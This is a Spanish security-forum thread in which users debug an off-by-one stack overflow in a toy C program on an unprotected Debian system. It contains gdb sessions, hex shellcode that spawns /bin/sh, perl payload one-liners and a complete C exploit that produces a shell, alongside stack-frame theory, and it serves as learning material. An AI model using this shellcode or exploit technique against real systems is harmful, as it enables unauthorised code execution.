Switch to full style
Todo sobre seguridad, exploits, vulnerabilidades, bug's, etc.
Publicar una respuesta

Exploiting basico en Linux (stack overflows)

Mié Ene 30, 2013 1:44 pm

Hola a todos

Por tercera vez, y espero sea la definitiva, he decidido pornerme con el tema de los stack overflows, a ver si ya de una vez entiendo de verdad el concepto. Esta vez lo estoy intentando desde Linux, concretamente en una Debian 3.1r4 sin ASLR, con ejecución del stack, etc. Vamos, para ponerlo a huevo.

Después de leer desde varias fuentes distintas pensaba que lo tenía claro, hasta que me he encabezonado en tratar de explotar este ejemplo vulnerable:

Código:
/* off-by-one.c */
#include <stdio.h>

func(char *arg)
{
        char buffer[256];
        int i;

        for(i = 0; i <= 256; i++)
                buffer[i] = arg[i];
}

main(int argc, char *argv[])
{
        if(argc < 2)
        {
                printf("Missing argument\n");
                exit(-1);
        }

        func(argv[1]);
}


No puedo sobreescribir EIP, pero soy capaz de sobrescribir un byte de EBP, de modo que cuando el programa hace el RET desde el main controlo la ejecución ya que EIP apunta donde yo quiero:

Código:
$ gdb -q off-by-one
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) list
6               char buffer[256];
7               int i;
8
9               for(i = 0; i <= 256; i++)
10                      buffer[i] = arg[i];
11      }
12
13      main(int argc, char *argv[])
14      {
15              if(argc < 2)
(gdb) break 11
Breakpoint 1 at 0x804840b: file off-by-one.c, line 11.
(gdb) run `perl -e 'print "\x90" x 56'``perl -e 'print "\x41\x41\x41\x41\x1c\xf9\xff\xbf"'``perl -e 'print "\x90" x 20'``cat sc``perl -e 'print "\x04" x 117'`
Starting program: /home/user/bufferoverflows/off-by-one `perl -e 'print "\x90" x 56'``perl -e 'print "\x41\x41\x41\x41\x1c\xf9\xff\xbf"'``perl -e 'print "\x90" x 20'``cat sc``perl -e 'print "\x04" x 117'`

Breakpoint 1, func (
    arg=0xbffffb3d '\220' <repeats 56 times>, "AAAA\034¦¦¦", '\220' <repeats 20 times>, "1¦1?\027¦\200¦\037^\211v\b1¦\210F\a\211F\f¦\v\211¦\215N\b\215V\f¦\2001¦\211¦@¦\200¦¦¦¦¦/bin/sh\220\220\220", '\004' <repeats 60 times>...) at off-by-one.c:11
11      }
(gdb) info reg esp
esp            0xbffff8c8       0xbffff8c8
(gdb) info reg ebp
ebp            0xbffff9cc       0xbffff9cc
(gdb) x/66 buffer
0xbffff8cc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8dc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8ec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8fc:     0x90909090      0x90909090      0x41414141      0xbffff91c
0xbffff90c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff91c:     0x90909090      0xdb31c031      0x80cd17b0      0x895e1feb
0xbffff92c:     0xc0310876      0x89074688      0x0bb00c46      0x4e8df389
0xbffff93c:     0x0c568d08      0xdb3180cd      0xcd40d889      0xffdce880
0xbffff94c:     0x622fffff      0x732f6e69      0x90909068      0x04040404
0xbffff95c:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff96c:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff97c:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff98c:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff99c:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff9ac:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff9bc:     0x04040404      0x04040404      0x04040404      0x04040404
0xbffff9cc:     0xbffff904      0x08048441
(gdb)


Según creo yo éste sería el esquema de la memoria al finalizar la ejecución del programa:

Código:
HIGH ADDRESS
--------------------------------------------------------------------------------
        0xbffff9d4:
        0xbffff9d0:  0x08048441  saved EIP (del main)
        0xbffff9cc:  0xbffff904  saved EBP (del main) - ULTIMO BYTE SOBREESCRITO
        ..........:  0x04040404
        0xbffff955:  0x90909068  Final de la shellcode
        ..........:  ..........  Contenido de la shellcode
        0xbffff920:  0xdb31c031  Inicio de la shellcode
        ..........:  0x90909090
ESP --> 0xbffff90c:  0x90909090
        0xbffff908:  0xbffff91c  mi EIP
EBP --> 0xbffff904:  0x41414141  mi EBP
        ..........:  0x90909090
        0xbffff8cc:  0x90909090
        0xbffff8c8:  Basura
--------------------------------------------------------------------------------
LOW ADDRESS


Hasta donde yo entiendo al terminar la ejecución de la función, EBP esta parcialmente sobreescrito, por lo que al apuntar ESP al EBP del main, éste acaba conteniendo la dirección parcialmente sobreescrita. En EIP se popea la siguiente instrucción dentro del main, continuando la ejecución normal. Al hacer el RET desde el main, ESP pasa a apuntar a la dirección 0xbffff904, provocando que EIP se cargue con mi valor (0xbffff91c), y por lo tanto ejecutando la shellcode.

El contenido de sc (aunque ya lo veis desde gdb) es el siguiente:

Código:
$ xxd sc
0000000: 31c0 31db b017 cd80 eb1f 5e89 7608 31c0  1.1.......^.v.1.
0000010: 8846 0789 460c b00b 89f3 8d4e 088d 560c  .F..F......N..V.
0000020: cd80 31db 89d8 40cd 80e8 dcff ffff 2f62  [email protected]/b
0000030: 696e 2f73 6890 9090


Si ahora trato de ejecutar el programa pasándole el buffer especialmente preparado:

Código:
$ ./off-by-one `perl -e 'print "\x90" x 56'``perl -e 'print "\x41\x41\x41\x41\x1c\xf9\xff\xbf"'``perl -e 'print "\x90" x 20'``cat sc``perl -e 'print "\x04" x 117'`
Segmentation fault


:(

¿No debería obtener una shell como resultado? ¿En qué me estoy equivocando?

Saludos y gracias de antemano por vuestra paciencia con este pobre inútil

Re: Exploiting basico en Linux (stack overflows)

Jue Ene 31, 2013 12:06 am

Curioso, pero ejecutando el "exploit" desde gdb llega a ejecutarse la shell :shock:

Código:
$ gdb -q ./off-by-one
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x0804840d <main+0>:    push   %ebp
0x0804840e <main+1>:    mov    %esp,%ebp
0x08048410 <main+3>:    sub    $0x4,%esp
0x08048413 <main+6>:    cmpl   $0x1,0x8(%ebp)
0x08048417 <main+10>:   jg     0x8048431 <main+36>
0x08048419 <main+12>:   movl   $0x8048564,(%esp)
0x08048420 <main+19>:   call   0x80482d4 <_init+56>
0x08048425 <main+24>:   movl   $0xffffffff,(%esp)
0x0804842c <main+31>:   call   0x80482e4 <_init+72>
0x08048431 <main+36>:   mov    0xc(%ebp),%eax
0x08048434 <main+39>:   add    $0x4,%eax
0x08048437 <main+42>:   mov    (%eax),%eax
0x08048439 <main+44>:   mov    %eax,(%esp)
0x0804843c <main+47>:   call   0x80483c4 <func>
0x08048441 <main+52>:   leave
0x08048442 <main+53>:   ret
End of assembler dump.
(gdb) list
6               char buffer[256];
7               int i;
8
9               for(i = 0; i <= 256; i++)
10                      buffer[i] = arg[i];
11      }
12
13      main(int argc, char *argv[])
14      {
15              if(argc < 2)
(gdb)
16              {
17                      printf("Missing argument\n");
18                      exit(-1);
19              }
20
21              func(argv[1]);
22      }
23
(gdb) break 11
Breakpoint 1 at 0x804840b: file off-by-one.c, line 11.
(gdb) run `perl -e 'print "\x90" x 60 . "\x1c\xf9\xff\xbf" . "\x90" x 20'``cat sc``perl -e 'print "\x04" x 117'`
Starting program: /home/user/bufferoverflows/off-by-one `perl -e 'print "\x90" x 60 . "\x1c\xf9\xff\xbf" . "\x90" x 20'``cat sc``perl -e 'print "\x04" x 117'`

Breakpoint 1, func (
    arg=0xbffffb3d '\220' <repeats 60 times>, "\034▒▒▒", '\220' <repeats 20 times>, "1▒1۰\027▒\200▒\037^\211v\b1▒\210F\a\211F\f▒\v\211▒\215N\b\215V\f▒\2001▒\211▒@▒\200▒▒▒▒▒/bin/sh\220\220\220", '\004' <repeats 60 times>...) at off-by-one.c:11
11      }
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000c20 in ?? () from /lib/ld-linux.so.2
(gdb) c
Continuing.
sh-2.05b$ exit
exit

Program exited normally.
(gdb)


Si antes estaba liao no te digo ahora, mas que la pata de un romano :lol:

Saludos

Re: Exploiting basico en Linux (stack overflows)

Jue Ene 31, 2013 12:50 pm

Al final he conseguido obtener la shell, aunque de otra forma :D

Me he basado en el modelo de explotación propuesto por Murat y que utiliza variables de entorno para almacenar la shellcode. Así que haciendo un poco de mezcla con información de por aquí y por allí esto ha sido lo que he hecho.

Primero exporto una variable de entorno con la shellcode:

Código:
$ export SC=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`


A continuación escribo un programa que me permita obtener la dirección en memoria para cualquier variable de entorno que se le pase como argumento:

Código:
/* get_address.c */

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        if(!argv[1])
                exit(1);

        printf("%#x\n", getenv(argv[1]));

        return 0;
}


Compilo y obtengo la dirección buscada:

Código:
$ gcc get_address.c -o get_address
$ ./get_address SC
0xbfffff38


Por último, y para asegurarme de que la dirección de memoria anterior está donde debe genero el buffer adecuado agregando al final el byte encargado de sobreescribir EBP, y se lo paso al programa vulnerable:

Código:
$ ./off-by-one `perl -e 'print "\x38\xff\xff\xbf" x 64 . "\x04"'`
sh-2.05b$


Funciona!!

De todas maneras me interesa mucho saber porque el ejemplo tal como estaba planteado al principio del post sigue sin funcionarme ejecutándolo desde fuera del debugger.

Saludos

Re: Exploiting basico en Linux (stack overflows)

Jue Ene 31, 2013 7:52 pm

Hola,

Estoy en x64 asi que me es complicado probar tu codigo, pero comparto estas ideas quizas basicas pero que es posible que te sean de utilidad.

Al no poder reproducirlo, le paso el binario a gdb.

En tu situacion yo configuraria tu debian para que guarde cores ante cualquier segfault, al menos momentaneamente, ya sabes,
Código:
ulimit -c unlimited
gdb core vuln

Ese limite en teoria aplica solo a la shell actual.

Espero que todo lo que sigue pueda darte alguna idea. Primero el tocho-log y luego las ideas.

Código:
[email protected]:~# gdb -q vuln
Reading symbols from /root/vuln...done.
(gdb) list 1
1   /* off-by-one.c */
2   #include <stdio.h>
3   
4   func(char *arg)
5   {
6           char buffer[256];
7           int i;
8   
9           for(i = 0; i <= 256; i++)
10                   buffer[i] = arg[i];
(gdb)
11   }
12   
13   main(int argc, char *argv[])
14   {
15           if(argc < 2)
16           {
17                   printf("Missing argument\n");
18                   exit(-1);
19           }
20   
(gdb)
21           func(argv[1]);
22   }
(gdb)
Line number 23 out of range; vuln.c has 22 lines.
(gdb) br 9
Breakpoint 1 at 0x400576: file vuln.c, line 9.
(gdb) br 11
Breakpoint 2 at 0x4005a8: file vuln.c, line 11.
(gdb) r AAAABBBBCCCCDDDD
Starting program: /root/vuln AAAABBBBCCCCDDDD

Breakpoint 1, func (arg=0x7fffffffe739 "AAAABBBBCCCCDDDD") at vuln.c:9
9           for(i = 0; i <= 256; i++)
(gdb) info r rsp rbp
rsp            0x7fffffffe2f8   0x7fffffffe2f8
rbp            0x7fffffffe3a0   0x7fffffffe3a0
(gdb) disas func
Dump of assembler code for function func:
   0x0000000000400564 <+0>:   push   %rbp
   0x0000000000400565 <+1>:   mov    %rsp,%rbp
   0x0000000000400568 <+4>:   sub    $0xa8,%rsp
   0x000000000040056f <+11>:   mov    %rdi,-0x118(%rbp)
=> 0x0000000000400576 <+18>:   movl   $0x0,-0x4(%rbp)
   0x000000000040057d <+25>:   jmp    0x40059f <func+59>
   0x000000000040057f <+27>:   mov    -0x4(%rbp),%ecx
   0x0000000000400582 <+30>:   mov    -0x4(%rbp),%eax
   0x0000000000400585 <+33>:   cltq   
   0x0000000000400587 <+35>:   add    -0x118(%rbp),%rax
   0x000000000040058e <+42>:   movzbl (%rax),%edx
   0x0000000000400591 <+45>:   movslq %ecx,%rax
   0x0000000000400594 <+48>:   mov    %dl,-0x110(%rbp,%rax,1)
   0x000000000040059b <+55>:   addl   $0x1,-0x4(%rbp)
   0x000000000040059f <+59>:   cmpl   $0x100,-0x4(%rbp)
   0x00000000004005a6 <+66>:   jle    0x40057f <func+27>
   0x00000000004005a8 <+68>:   leaveq
   0x00000000004005a9 <+69>:   retq   
End of assembler dump.
(gdb) printf "0x%x\n", buffer
0xffffe290
(gdb) bt
#0  func (arg=0x7fffffffe739 "AAAABBBBCCCCDDDD") at vuln.c:9
#1  0x00000000004005e6 in main (argc=2, argv=0x7fffffffe4a8) at vuln.c:21
(gdb) x/16x 0x7fffffffe3a0
0x7fffffffe3a0:   0xffffe3c0   0x00007fff   0x004005e6   0x00000000
0x7fffffffe3b0:   0xffffe4a8   0x00007fff   0x00000000   0x00000002
0x7fffffffe3c0:   0x00000000   0x00000000   0xf7a78c4d   0x00007fff
0x7fffffffe3d0:   0x00000000   0x00000000   0xffffe4a8   0x00007fff
(gdb) c
Continuing.

Breakpoint 2, func (arg=0x7fffffffe739 "AAAABBBBCCCCDDDD") at vuln.c:11
11   }
(gdb) x/16x 0x7fffffffe3a0
0x7fffffffe3a0:   0xffffe3c0   0x00007fff   0x004005e6   0x00000000
0x7fffffffe3b0:   0xffffe4a8   0x00007fff   0x00000000   0x00000002
0x7fffffffe3c0:   0x00000000   0x00000000   0xf7a78c4d   0x00007fff
0x7fffffffe3d0:   0x00000000   0x00000000   0xffffe4a8   0x00007fff
(gdb) bt
#0  func (arg=0x7fffffffe739 "AAAABBBBCCCCDDDD") at vuln.c:11
#1  0x00000000004005e6 in main (argc=2, argv=0x7fffffffe4a8) at vuln.c:21
(gdb) printf "0x%x\n", buffer
0xffffe290
(gdb) printf "0x%x\n", arg
0xffffe739
(gdb) x/16x 0x7fffffffe290
0x7fffffffe290:   0x41414141   0x42424242   0x43434343   0x44444444
0x7fffffffe2a0:   0x42524f00   0x535f5449   0x454b434f   0x52494454
0x7fffffffe2b0:   0x6d742f3d   0x726f2f70   0x2d746962   0x746f6f72
0x7fffffffe2c0:   0x48535300   0x4547415f   0x505f544e   0x323d4449
(gdb) x/4x 0x7fffffffe280
0x7fffffffe280:   0x00000000   0x00000000   0xffffe739   0x00007fff
(gdb) x/16x 0x7fffffffe739
0x7fffffffe739:   0x41414141   0x42424242   0x43434343   0x44444444
0x7fffffffe749:   0x42524f00   0x535f5449   0x454b434f   0x52494454
0x7fffffffe759:   0x6d742f3d   0x726f2f70   0x2d746962   0x746f6f72
0x7fffffffe769:   0x48535300   0x4547415f   0x505f544e   0x323d4449
(gdb)


rbp - rsp = e3a0 - e2f8 = 0xa8
esta diferencia sale de esta linea del desensamblado de func
0x0000000000400568 <+4>: sub $0xa8,%rsp

¿donde comienza la variable arg?
(gdb) printf "0x%x\n", arg
0xffffe739

¿donde comienza la variable buffer?
(gdb) printf "0x%x\n", buffer
0xffffe290

(arg y buffer contienen lo mismo, solo que en distintos trozos de la memoria)

que en tu ejemplo inicial buffer comenzaria en 0xbffff8cc (justo al hacer x/66 buffer)
pues teoricamente, restando ese valor al ebp obtienes la reserva de memoria en la pila, en mi caso:
rbp - 0xbuffer = rbp - 0xffffe290 = 0x110 = 272 bytes en decimal

272 siempre sera mayor o igual a
(espacio en bytes que ocupen las variables locales de la funcion) + (lo que decida el compilador).
char buffer[256]; #esto son 256 bytes.
int i; #esto son 4 bytes, y en x64 quizas 8 bytes.
el resto hasta 272 es padding añadido por el compilador.

Este valor de hacer un bt:
0x00000000004005e6

miramos al ebp y esta aqui, en mi caso el tercer valor:
0x7fffffffe3a0: 0xffffe3c0 0x00007fff 0x004005e6 0x00000000

0x004005e6 deberia ser el retorno desde la funcion func hacia main.

Si sobreescribes eso, habras sobreescrito EIP.

Esto es el comportamiento basico, si me he confundido en algo que alguien me corrija, pero yo te recomendaria ir mirando esos valores. Te iba a comentar ayer que si provocas el segfault desde gdb podras ver que valor tiene EIP en ese momento, y bueno, ir tirando del hilo, pero despues vi que desde gdb si te funcionaba.

A mi en ocasiones me ha pasado justo lo contrario, por ejemplo al hacer una elevacion de privilegios de un ejecutable con SUID activo, desde la shell inyecto un shellcode setuid(0) + execve y paso de vlan7 a root, sin embargo desde gdb obtengo la shell pero sin elevar privilegios a root.

Lo que yo hago en estos casos (shell si, gdb no) es explotarlo inyectando el shellcode desde la shell, entonces cuando obtengo la nueva shell ofrecida por mi shellcode, el programa tiene que continuar corriendo en memoria. Entonces, abro una nueva terminal y hago un "attach" de gdb al PID del programa para mirar el estado de las cosas y lo de siempre, tirar del hilo.

Quizas un strace te de alguna pista. Pero ya sabes, si no vemos nada que la teoria diga "es por esto", entonces sin un debugger es complicado tirar del hilo, de ahi mi objetivo de lograr al menos depurar el programa...

Cuentanos como acabo todo, y si se te ocurre alguna otra idea tambien.

Un saludo y mucha suerte,

Re: Exploiting basico en Linux (stack overflows)

Vie Feb 01, 2013 1:24 pm

De buenas a primeras diré que alguna vez a mi también me ha pasado que en gdb funcione y sin depurar no funcione.

Pregunté por ahí y en teoría se debe a que al depurar, gdb, mete datos en la pila y los cálculos de offsets que haces no quedan igual dentro de gdb que fuera.
Esto a nivel general.

A ver si le echo un ojo al código en particular.

Re: Exploiting basico en Linux (stack overflows)

Vie Feb 01, 2013 2:23 pm

Hola y muchas gracias a los dos

Muy buen aporte el tema de analizar los core dump vlan7, conocia la posibilidad pero no la habia barajado.

NewLog, en cuanto a lo que dices de gdb y los offsets tiene mucho sentido, ya que al comprobar el contenido de los registros en el core dump cada uno tiene lo que quiere.

Como esto de atinar tan fino parece que es muy complicado (al menos para mi con lo poco/nada que ahora mismo se) me conformo con sacar una shellcode mediante una variable de entorno, variante utilizando un "exploit" en C.

Código:
/* off-by-one-exploit.c */

#include <string.h>
#include <unistd.h>

#define VULN "./off-by-one"
#define BUFSIZE 260

char sc[]= "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void main()
{
        char *env[] = {sc, NULL};
        char buf[BUFSIZE];
        int i;

        int *ap = (int *) buf;
        int ret = 0xbffffffa - strlen(sc) - strlen(VULN);

        for (i = 0; i < BUFSIZE - 4; i += 4)
                *ap++ = ret;

        *ap++ = 0x04;

        execle(VULN, "off-by-one", buf, NULL, env);
}


Código:
$ gcc -o off-by-one-exploit off-by-one-exploit.c
off-by-one-exploit.c: In function `main':
off-by-one-exploit.c:12: warning: return type of `main' is not `int'
[email protected]:~/bufferoverflows$ ./off-by-one-exploit
sh-2.05b$


O a desviar el flujo de ejecucion del programa, esta vez directamente desde la linea de comandos:

Código:
$ ./off-by-one `perl -e 'print "\x19\x84\x04\x08" x 64 . "\x04"'`
Missing argument


No obstante cualquier aporte al respecto sera bienvenido.

Saludos y gracias

PD: preparaos, porque tengo la certeza de que, relacionado con el tema, me van a surgir muchiiiisimas dudas.

Re: Exploiting basico en Linux (stack overflows)

Vie Feb 01, 2013 8:34 pm

Hola,

Aquí voy a contestar algunas cosas y me queda pendiente explicar como explotar el off by one con más detalle para que quede aquí en el foro.

neofito escribió:
Código:
$ ./off-by-one `perl -e 'print "\x38\xff\xff\xbf" x 64 . "\x04"'`
sh-2.05b$


Funciona!!

De todas maneras me interesa mucho saber porque el ejemplo tal como estaba planteado al principio del post sigue sin funcionarme ejecutándolo desde fuera del debugger.


Al ver esto realmente pienso que tienes una chamba que flipas! Quiero decir que ese 4 mágico de ahí es lo que creo que te hace que la cosa te pete fuera o dentro de gdb.
Lo que creo que ocurre es que al sobrescribir el LSB del saved ebp (sebp) con un 4 tienes la suerte de que vas a parar a una dirección de memoria alineada, con lo que la dirección 0xbfffff38 se almacena correctamente en el registro eip. Sin embargo, al hacerlo dentro de gdb las cosas no cuadran debido a la posible basura que gdb pone en la pila y te lo desalinea todo. (ya sé que te ha pasado del revés, en gdb te funciona y fuera no, pero intento explicar la idea).

En fin, todo se basa en el "magic number" 4. Qué pasa si pones un 5 o un 8? Eso es a lo que me refiero. En algunos casos un 4 te irá de perlas y en otros te dará un core dumped. Tu con ese 4 rezas por aterrizar en un buen sitio de tu payload, ya que es lo que te muestra gdb cuando inspeccionas la memoria, sin embargo, cuando sales al exterior es más que posible (por experiencia te lo digo) que las cosas no se ubiquen dónde el bueno de gdb te decía antes.

Cuando en tu payload sólo escribes una dirección como 0xbfffff38 es mucho más fácil que eip la cargue correctamente (al poner ese 4). Sin embargo, si tu payload es mucho más complejo (nops, dirección, dirección, nops, shellcode, bytes) es mucho más difícil que con ese 4 caigas donde te interesa.

Por esta razón, con el exploiting actual (psé... muy sobrado ha quedado, no es la intención) lo que se intenta es saltar a posiciones de memoria fijas. Una opción es saltar a una variable de entorno, tal y como haces, y otra sería por ejemplo buscar una dirección de memoria donde hubiera un jmp esp.
Así no has de ir peleándote con los compiladores si te cambian los argumentos de sitio o lo que sea.
Última edición por NewLog el Vie Feb 01, 2013 8:42 pm, editado 1 vez en total

Re: Exploiting basico en Linux (stack overflows)

Vie Feb 01, 2013 8:39 pm

Hola gente!

Todo esto es teoría así que podéis obviar el post. A mi me ha ido muy bien para acabar de aclarar conceptos.

[INICIO TEORÍA]

Antes que nada, un par de cosas que se deben tener claras (a modo informativo, ya sé que vosotros no lo necesitáis, pero al menos queda escrito aquí para otras ocasiones donde me vuelva a fallar la memoria).

Prólogo de una función:
Código:
push ebp
mov ebp, esp

Epílogo de una función (leave, ret):
Código:
mov esp,ebp
pop ebp
"pop eip"


Así que la cosa queda (stack frame de la función):

Código:
+--------------------+   (direcciones altas)
|         args         |
+--------------------+
|         seip          |
+--------------------+
|         sebp         |
+--------------------+
|         vars         |
+--------------------+   (direcciones bajas)


Al hacer un off by one lo que consigues es sobrescribir el último byte (el de menos peso) del frame pointer guardado (o sea, del valor que se ha pusheado en el prólogo de la función - push ebp -) y que en el 'gráfico' he llamado sebp.
De este modo antes de la sobrescritura, sebp contenía una dirección del stack mayor (más específicamente, al stack frame del main, ubicado en una dirección mayor que donde se ubica el stack frame de la función vulnerable).
Así pues, si sobrescribes el último byte de sebp consigues que se deje de apuntar al stack frame del main y que se apunte, por ejemplo, a la sección de memoria que he llamado vars (que es donde irá tu payload y donde se creará un stack frame falso). Si sebp contenía 0xbfffffa8, al sobrescribirlo lo puedes dejar en 0xbfffff04.

Entonces se ejecuta el epílogo de la función vulnerable.
Primero la instrucción leave[1] (mov esp, ebp), con lo que el registro esp ahora apunta donde apuntaba el registro ebp . Y dónde apuntaba el registro ebp? Apuntaba a la dirección en memoria donde se guarda sebp (valor que hemos modificado). Así pues, en esp ahora hay la dirección donde se guarda sebp (el 0xbfffff04).
Se ejecuta entonces leave[2] (pop ebp). En ebp se almacena sebp y a esp se le restan 4 bytes (por el pop). Por tanto, esp ahora apunta a la dirección donde se guarda seip.
Se ejecutaría el ret ("pop eip") y debido a que la dirección almacenada en seip es correcta el flujo de ejecución saltaría al main.

Suponiendo que el main no jugara con el stack (lol), tal y como ocurre en la poc, llegaríamos al epílogo del main y ocurriría lo siguiente. leave[1] (mov esp, ebp) haría que esp apuntara a la dirección que contenía sebp (debido a que el anterior epílogo de la función - pop ebp - había almacenado en ebp el contenido de sebp).
Después leave[2], (pop ebp), en ebp se almacenaría basura de nuestro payload.
Por último, ret, ("pop eip"), en eip se almacenaría "basura" de nuestro payload.

[FIN TEORÍA]

Re: Exploiting basico en Linux (stack overflows)

Vie Feb 01, 2013 11:32 pm

NewLog escribió:Al ver esto realmente pienso que tienes una chamba que flipas!


:badgrin: totalmente de acuerdo.

NewLog escribió:Quiero decir que ese 4 mágico de ahí es lo que creo que te hace que la cosa te pete fuera o dentro de gdb.
Lo que creo que ocurre es que al sobrescribir el LSB del saved ebp (sebp) con un 4 tienes la suerte de que vas a parar a una dirección de memoria alineada, con lo que la dirección 0xbfffff38 se almacena correctamente en el registro eip. Sin embargo, al hacerlo dentro de gdb las cosas no cuadran debido a la posible basura que gdb pone en la pila y te lo desalinea todo. (ya sé que te ha pasado del revés, en gdb te funciona y fuera no, pero intento explicar la idea).


La capto la capto, de hecho ya lo tenía medio asumido.

La historia está en que el programa aparece como ejemplo en el libro "Buffer overflows", para enfatizar que con un solo byte que seamos capaces de sobreescribir (allí debería haber un final de cadena) podemos aprovecharnos del fallo, pero en ningón momento muestran un ejemplo de explotación, y ahí que, chulito yo, entré al trapo.

NewLog escribió:Cuando en tu payload sólo escribes una dirección como 0xbfffff38 es mucho más fácil que eip la cargue correctamente (al poner ese 4). Sin embargo, si tu payload es mucho más complejo (nops, dirección, dirección, nops, shellcode, bytes) es mucho más difícil que con ese 4 caigas donde te interesa.


Ok maestro :D

NewLog escribió:Por esta razón, con el exploiting actual (psé... muy sobrado ha quedado, no es la intención) lo que se intenta es saltar a posiciones de memoria fijas. Una opción es saltar a una variable de entorno, tal y como haces, y otra sería por ejemplo buscar una dirección de memoria donde hubiera un jmp esp.
Así no has de ir peleándote con los compiladores si te cambian los argumentos de sitio o lo que sea.


Voy pasito a pasito, empezando por lo más simple y viendo como el tema ha ido evolucionando.

Saludos y gracias por tus líneas (las de el post que cito y las del siguiente, que también me lo he leído).

Re: Exploiting basico en Linux (stack overflows)

Dom Feb 03, 2013 3:13 pm

neofito escribió:
Código:
$ ./off-by-one `perl -e 'print "\x38\xff\xff\xbf" x 64 . "\x04"'`
sh-2.05b$


Funciona!!


Miralo en la practica:

Código:
(gdb) r `perl -e 'print "\x38\xff\xff\xbf"x64 . "\x01"'`
(gdb) info r ebp
(gdb) x/32x $ebp


Mira que desalineacion existe y podras calcular exactamente en cuanto debes ajustar la desalineacion. Ese es tu byte de alineacion.

En principio independientemente de lo complejo de tu payload, si juegas un poco veras que la causa raiz es la comparacion que si a main no le cuadra lo que espera, naranjas de la china. Si en tu caso solo con un "\x04" te ha funcionado, bueno, juega con \x01 \x02 \x03 \x04 . Ese byte es tu alineador de lo desalineado en la pila.

Por cierto, esta tecnica fue propuesta por klog en la Phrack http://www.phrack.org/issues.html?issue ... 8&mode=txt

Un buen analisis en castellano aqui en la SET http://zen7.vlan7.org/file-cabinet/set3 ... ects=0&d=1

Un saludo,

Re: Exploiting basico en Linux (stack overflows)

Mar Feb 05, 2013 3:15 am

Hola,

Basandome en mi desensamblado de la funcion func en x64 que puse, y aunque no tengo tiempo ahora de andar mirando valores de registros antes de decir una posible chorrada, ¿os parece igual de razonable que a mi que el \x04 venga de la comparacion se hace antes del epilogo de func?

Código:
0x000000000040059b <+55>:   addl   $0x1,-0x4(%rbp)
   0x000000000040059f <+59>:   cmpl   $0x100,-0x4(%rbp)
   0x00000000004005a6 <+66>:   jle    0x40057f <func+27>
(epilogo)


:oops:
Olvidad esto, lo escribi muy tarde, logicamente eso es el bucle for de 256 vueltas.

Un saludo y adelante,

Re: Exploiting basico en Linux (stack overflows)

Mar Feb 05, 2013 11:49 am

yo el otro día me volví un poco loco porqué en un Ubuntu 12.10 el tema no me funcionaba. El desensamblador de las funciones era igual, sin embargo no se hacia la sobrescritura de un byte.

Tengo que mirármelo de nuevo a ver qué ocurre. No sea que sea algo nuevo de gcc. Ya que estamos, neofito, me dices la versión de gcc que utilizas?

Saludos!

Re: Exploiting basico en Linux (stack overflows)

Mié Feb 06, 2013 12:27 am

Código:
[email protected]:~$ cat /etc/debian_version
3.1
[email protected]:~$ gcc -v
Reading specs from /usr/lib/gcc-lib/i486-linux/3.3.5/specs
Configured with: ../src/configure -v --enable-languages=c,c++,java,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --enable-__cxa_atexit --with-system-zlib --enable-nls --without-included-gettext --enable-clocale=gnu --enable-debug --enable-java-gc=boehm --enable-java-awt=xlib --enable-objc-gc i486-linux
Thread model: posix
gcc version 3.3.5 (Debian 1:3.3.5-13)


Saludos

Re: Exploiting basico en Linux (stack overflows)

Mié Feb 06, 2013 12:57 am

Por cierto, ademas del tema de la version de gcc, revisa que no estes en x64, aunque yo en x64 si desensamblo main, se ven diferencias como por ejemplo que gcc antes de un call guarda los offsets en edi donde previamente ha guardado ebp.

Es decir:

x86:
Código:
0x08048425 <main+24>:   movl   $0xffffffff,(%esp)
0x0804842c <main+31>:   call   0x80482e4 <_init+72>


x64:
Código:
0x00000000004005c9 <+31>:   mov    $0xffffffff,%edi
0x00000000004005ce <+36>:   callq  0x400460 <[email protected]>


Pero por si acaso Newlog.
Publicar una respuesta